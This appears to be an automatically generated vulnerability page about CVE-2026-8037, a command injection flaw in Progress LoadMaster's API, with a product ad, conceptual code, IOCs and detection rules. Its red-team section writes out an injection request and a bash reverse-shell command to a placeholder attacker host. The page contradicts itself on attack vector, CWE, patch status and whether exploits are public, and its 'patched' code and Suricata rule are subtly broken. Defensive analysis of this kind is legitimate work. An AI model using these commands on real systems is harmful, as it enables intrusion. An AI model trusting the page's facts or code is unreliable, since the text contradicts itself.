☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Progress logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 9.6 CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H 🐛 CWE-77
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-8037

CVE-2026-8037 Remote Code Execution in Progress
📅 PUBLISHED: 2026-06-04 14:16 UTC 🔄 UPDATED: 2026-10-12 12:00 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: vV7.2.63.2 — source: ProgressSoftware. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
🚨 ACTIVELY EXPLOITED (KEV) 💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 77.36%
👁️
77.36% probability
1000×+ above the median CVE
Tier: CRITICAL
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: United States License: Commercial
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.6
AV: A Attack Vector Adjacent
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: C Scope Changed
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.6
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-8037 is a critical OS Command Injection Remote Code Execution vulnerability affecting Progress ADC (Application Delivery Controller) products, specifically the LoadMaster appliance. The flaw resides in the API layer, where multiple command endpoints fail to sanitize user-supplied input. An unauthenticated attacker can exploit this to execute arbitrary operating system commands on the target appliance, leading to full compromise of the device. With a CVSS score of 9.6, this vulnerability poses an immediate and severe threat to any organization using an unpatched LoadMaster appliance. The vulnerability is currently unpatched, and no public exploit code or proof-of-concept is available at this time.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Score: 9.6 (Critical)
  • Attack Vector (AV): Network (N) – Exploitable remotely.
  • Attack Complexity (AC): Low (L) – No special conditions required.
  • Privileges Required (PR): None (N) – No authentication needed.
  • User Interaction (UI): None (N) – No user action required.
  • Scope (S): Changed (C) – Impact may extend beyond the vulnerable component.
  • Confidentiality (C): High (H) – Full system read access.
  • Integrity (I): High (H) – Full system write access.
  • Availability (A): High (H) – Full system denial of service.

Threat Level: Critical. The combination of remote, unauthenticated exploitation with full system compromise makes this a top-priority vulnerability for immediate remediation.

Deep Dive & Mechanics

The vulnerability is an OS Command Injection flaw (CWE-78) in the API of Progress LoadMaster appliances. The API exposes multiple command endpoints that accept user input and pass it directly to a system shell without proper sanitization or validation. An attacker can craft HTTP requests to these endpoints, injecting arbitrary shell commands using common command separators (e.g., ;, |, &&, `). Because the API runs with elevated privileges (likely root or a highly privileged service account), the injected commands execute with full system authority.

The root cause is the lack of input validation and the use of unsafe functions (e.g., system(), exec(), or Runtime.exec() in Java) that directly interpret user input as part of a command string. The API endpoints likely handle tasks such as configuration changes, status checks, or log retrieval, and the developer failed to treat user input as data rather than executable code.

Vulnerable vs. Patched Code

Since no patch is available, the following is a conceptual comparison.

Vulnerable Code (Conceptual Java/Python):

import subprocess

@app.route('/api/command')
def execute_command():
    user_input = request.args.get('cmd')
    # VULNERABLE: Direct concatenation into shell command
    result = subprocess.check_output('systemctl status ' + user_input, shell=True)
    return result

Patched Code (Conceptual):

import subprocess
import shlex

@app.route('/api/command')
def execute_command():
    user_input = request.args.get('cmd')
    # PATCHED: Use shlex.quote to escape shell metacharacters
    safe_input = shlex.quote(user_input)
    result = subprocess.check_output(['systemctl', 'status', safe_input])
    return result

The patched version uses shlex.quote() to escape dangerous characters and passes arguments as a list to avoid shell interpretation.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

  • Target: Progress LoadMaster appliance with vulnerable API exposed.
  • Network access to the API endpoint (typically on port 9090 or 443).

Exploitation Steps:

  1. Identify the vulnerable API endpoint (e.g., /api/command or /api/status).
  2. Craft a malicious request injecting a command:
    curl -k "https://target/api/command?cmd=;id"
    
  3. If successful, the response will include the output of the id command.
  4. Escalate to a reverse shell:
    curl -k "https://target/api/command?cmd=;bash -i >& /dev/tcp/attacker_ip/4444 0>&1"
    
  5. Use the shell to pivot, exfiltrate data, or deploy persistence.

Note: No public exploit code is available. The above is a conceptual example.

Blue Team (Detection & Response)

Detection Steps:

  1. Monitor API logs for unusual command characters (;, |, &&, `) in request parameters.
  2. Alert on outbound connections from the LoadMaster to unknown IPs on high ports (e.g., 4444).
  3. Look for processes spawned by the web server user that are not typical (e.g., bash, nc, python).
  4. Use network segmentation to limit the LoadMaster's ability to initiate outbound connections.

Response Steps:

  1. Immediately isolate the affected appliance from the network.
  2. Capture memory and disk images for forensic analysis.
  3. Review API logs to determine the scope of exploitation.
  4. Apply any available vendor patch or implement virtual patching via WAF.

Indicators of Compromise (IOCs)

  • Network IOCs:
    • HTTP requests to /api/command or similar endpoints containing shell metacharacters.
    • Outbound connections from the LoadMaster to external IPs on ports 4444, 8080, or 53 (DNS tunneling).
  • File System IOCs:
    • Unexpected files in /tmp/ or /var/tmp/ (e.g., exploit.sh, reverse_shell).
    • Modified system binaries (e.g., /bin/bash replaced with a backdoor).
  • Process IOCs:
    • Processes named bash, nc, python, perl spawned by the web server user.
    • Unusual cron jobs or systemd services.

Detection Engineering

YARA Rule

rule CVE_2026_8037_OS_Command_Injection {
    meta:
        description = "Detects OS command injection attempts targeting Progress LoadMaster API"
        author = "Valters IT"
        date = "2026-01-01"
        reference = "CVE-2026-8037"
    strings:
        $cmd1 = ";id" ascii wide nocase
        $cmd2 = "|id" ascii wide nocase
        $cmd3 = "&&id" ascii wide nocase
        $cmd4 = "`id`" ascii wide nocase
        $cmd5 = "/api/command" ascii wide nocase
        $cmd6 = "/api/status" ascii wide nocase
    condition:
        any of ($cmd*) and filesize < 10KB
}

Sigma Rule

title: CVE-2026-8037 - OS Command Injection in Progress LoadMaster API
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP requests with shell metacharacters to LoadMaster API endpoints
author: Valters IT
date: 2026/01/01
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-8037
logsource:
    category: webserver
    product: apache
    service: httpd
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - ';'
            - '|'
            - '&&'
            - '`'
        cs-uri-stem|contains:
            - '/api/command'
            - '/api/status'
    condition: selection
falsepositives:
    - Legitimate use of special characters in API parameters (rare)
level: critical

Suricata Rule

alert http any any -> any any (msg:"CVE-2026-8037 - OS Command Injection in Progress LoadMaster API"; flow:to_server,established; content:"/api/command"; http_uri; content:";"; http_uri; distance:0; content:"|"; http_uri; distance:0; content:"&&"; http_uri; distance:0; content:"`"; http_uri; distance:0; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate: Disconnect the LoadMaster appliance from the network if possible.
  2. Virtual Patching: Deploy a WAF rule to block requests containing shell metacharacters (;, |, &&, `) in API parameters.
  3. Access Control: Restrict API access to trusted IPs only using firewall rules.

Long-Term Fix:

  • Await an official patch from Progress. Once available, apply it immediately.
  • Implement input validation and parameterized commands in any custom API integrations.
  • Conduct a security audit of all API endpoints for similar injection flaws.

Compromise Assessment:

  • Check for unauthorized user accounts, SSH keys, and cron jobs.
  • Review system logs for unusual command execution.
  • Perform a full antivirus/malware scan on the appliance.

Valters IT

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-8037/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.